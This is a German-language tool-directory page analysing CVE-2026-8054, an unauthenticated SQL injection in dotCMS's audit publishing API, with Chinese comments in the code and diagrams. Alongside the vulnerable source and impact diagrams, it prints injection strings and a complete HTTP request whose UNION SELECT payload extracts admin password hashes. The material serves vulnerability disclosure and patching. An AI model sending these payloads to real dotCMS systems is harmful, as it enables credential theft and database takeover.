Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8054 — dotCMS Pre-Auth-SQL-Injection | Kitploit
Tools/GitHubGitHub/mr-xn/cve-2026-8054
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS Pre-Auth-SQL-Injection

Repository anzeigen
8vor 3 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

1. Schwachstellenübersicht

CVE-2026-8054 ist eine kritische SQL-Injection-Schwachstelle ohne Authentifizierung (Pre-auth SQL Injection) in der Publish Audit API von dotCMS Core. Die Schwachstelle wird offiziell als Sicherheitsvorfall SI-75 verfolgt und wurde Ende Mai 2026 offiziell erfasst und veröffentlicht. Da Angreifer sie ohne jegliche Kontoberechtigung remote auslösen können, ist der potenzielle Schaden äußerst schwerwiegend.

EigenschaftWert
CVE-IDCVE-2026-8054
Offizielle VerfolgungSI-75
SchwachstellentypSQL-Injection (CWE-89)
Betroffene KomponentedotCMS Core - Publish Audit API
CVSS-Score10.0 (Critical)
Betroffene Versionen25.11.04-1 bis 26.04.28-02
Behobene Version26.04.28-03
AngriffsartRemote-SQL-Injection ohne Authentifizierung (Pre-auth)
Erforderliche BerechtigungenKeine Authentifizierung
BenutzerinteraktionKeine
LTS-Versionen betroffenNicht betroffen (der Audit-Code-Zweig wurde nicht in den LTS-Zweig zurückportiert)

2. Detaillierte Analyse der Schwachstelle

2.1 Kern der Schwachstelle

Die Schwachstelle befindet sich in den beiden REST-Endpunkten /api/auditPublishing/get und /api/auditPublishing/getAll. Beim Empfang der vom Client übergebenen Anfrageparameter führen diese Endpunkte keinerlei Filterung oder parametrisierte Bindung durch, sondern bauen die SQL-Abfrageanweisungen direkt per String-Verkettung dynamisch auf.

Noch kritischer: dotCMS hat bei diesen sensiblen Backend-Endpunkten für die Audit-Funktion vollständig auf Authentifizierung und Berechtigungsprüfung (Broken Access Control) verzichtet. Das bedeutet, dass jeder Remote-Angreifer ohne Anmeldeinformationen, der das System über das Netzwerk erreichen kann, direkt HTTP-Anfragen mit bösartigen Payloads an die Endpunkte senden kann.

2.2 Einstiegspunkte der Schwachstelle

Dateipfad: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

Die Schwachstelle betrifft zwei REST-API-Endpunkte:

  • GET /api/auditPublishing/get/{bundleId} - Holt den Audit-Status einer einzelnen Veröffentlichung
  • POST /api/auditPublishing/getAll - Holt die Audit-Status mehrerer Veröffentlichungen im Batch

Kernproblem: Vor dem Fix benötigten diese beiden Endpunkte keinerlei Authentifizierung; jeder anonyme Benutzer konnte direkt darauf zugreifen.

@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【漏洞点】没有认证检查!直接调用后端API
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Kerncode der Schwachstelle

Dateipfad: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Methode: getPublishAuditStatuses(List<String> bundleIds) (Zeilen 224-245)

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【漏洞点1】直接将用户输入拼接到SQL语句中
        // 仅添加单引号包裹,没有任何参数化或转义处理
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危险: 字符串拼接
            .collect(Collectors.toList());

        // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL-Konstante (SELECT_ALL_BY_BUNDLES_IDS):

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Taint-Propagationspfad

graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Taint-Ausbreitung: Benutzereingabe → REST-API → Backend-Verarbeitung → SQL-Aufbau → Datenbankausführung Kritische Schwachstellen: Keine Authentifizierung + keine Parametrisierung = vollständig kontrollierbare SQL-Injection

2.5 Analyse des SQL-Injection-Prinzips

Angenommen, der Benutzer gibt bundleIds = ["x' OR '1'='1"] ein

Normales SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL nach der Injektion:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Da '1'='1' immer wahr ist, gibt diese Abfrage alle Datensätze in der Tabelle zurück.

graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. Analyse von Auswirkungen und Schäden

Ein Angreifer, der die Schwachstelle erfolgreich ausnutzt, kann beliebige SQL-Befehle im Kontext des Datenbank-Systembenutzers ausführen, was zu folgenden schwerwiegenden Konsequenzen führt:

graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Offenlegung sensibler Daten

Angreifer können über die SQL-Injection Kerndatenbanktabellen auslesen und so Folgendes erlangen:

  • Admin-Passwort-Hashes
  • Benutzeranmeldeinformationen
  • Zurücksetzungs-Tokens
  • Systemkonfigurationsdaten
  • Website-Inhaltsdaten

Beispiel-Payload - Admin-Passwort abrufen:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Datenmanipulation und -zerstörung

Tool herunterladen